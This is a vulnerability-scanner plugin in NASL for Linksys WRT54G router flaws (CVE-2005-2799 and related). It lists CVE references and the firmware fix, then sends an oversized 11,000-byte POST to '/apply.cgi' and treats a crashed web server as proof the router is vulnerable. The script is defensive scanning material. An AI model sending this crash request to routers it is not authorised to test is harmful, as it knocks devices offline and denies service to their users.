Linksys multiple remote vulnerabilities

# SPDX-FileCopyrightText: 2005 Josh Zlatin-Amishav
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.20096");
  script_version("2023-07-21T05:05:22+0000");
  script_tag(name:"last_modification", value:"2023-07-21 05:05:22 +0000 (Fri, 21 Jul 2023)");
  script_tag(name:"creation_date", value:"2006-03-26 17:55:15 +0200 (Sun, 26 Mar 2006)");
  script_cve_id("CVE-2005-2799", "CVE-2005-2914", "CVE-2005-2915", "CVE-2005-2916");
  script_xref(name:"OSVDB", value:"19386");
  script_xref(name:"OSVDB", value:"19387");
  script_xref(name:"OSVDB", value:"19388");
  script_xref(name:"OSVDB", value:"19389");
  script_xref(name:"OSVDB", value:"19390");
  script_tag(name:"cvss_base", value:"7.5");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_name("Linksys multiple remote vulnerabilities");
  script_category(ACT_DENIAL);
  script_tag(name:"qod_type", value:"remote_analysis");
  script_copyright("Copyright (C) 2005 Josh Zlatin-Amishav");
  script_family("Gain a shell remotely");
  script_dependencies("gb_get_http_banner.nasl");
  script_require_ports("Services/www", 80);
  script_mandatory_keys("WRT54G/banner");

  script_tag(name:"solution_type", value:"VendorFix");

  script_tag(name:"solution", value:"Upgrade to firmware version 4.20.7 or later.");

  script_tag(name:"summary", value:"The remote host appears to be a Linksys WRT54G Wireless Router
  which is affected by multiple flaws.");

  script_tag(name:"insight", value:"The firmware version installed on the remote host is prone to several
  flaws,

  - Execute arbitrary commands on the affected router with root privileges.

  - Download and replace the configuration of affected routers via a special
  POST request to the 'restore.cgi' or 'upgrade.cgi' scripts.

  - Allow remote attackers to obtain encrypted configuration information and,
  if the key is known, modify the configuration.

  - Degrade the performance of affected devices and cause the Web server
  to become unresponsive, potentially denying service to legitimate users.");

  script_xref(name:"URL", value:"http://www.idefense.com/application/poi/display?id=304&type=vulnerabilities");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/14822");
  script_xref(name:"URL", value:"http://www.idefense.com/application/poi/display?id=305&type=vulnerabilities");
  script_xref(name:"URL", value:"http://www.idefense.com/application/poi/display?id=306&type=vulnerabilities");
  script_xref(name:"URL", value:"http://www.idefense.com/application/poi/display?id=307&type=vulnerabilities");

  exit(0);
}

include("http_func.inc");
include("port_service_func.inc");

port = http_get_port(default:80);
if( http_is_dead(port:port) ) exit(0);

banner = http_get_remote_headers(port:port);
if (banner && 'realm="WRT54G"' >< banner) {

  soc = http_open_socket(port);
  if (! soc) exit(0);

  len = 11000; # 10058 should be enough
  req = string("POST ", "/apply.cgi", " HTTP/1.0\r\nContent-Length: ", len,
        "\r\n\r\n", crap(len), "\r\n");
  send(socket:soc, data:req);
  http_close_socket(soc);

  sleep(1);

  if(http_is_dead(port: port))
  {
    security_message(port);
    exit(0);
  }
}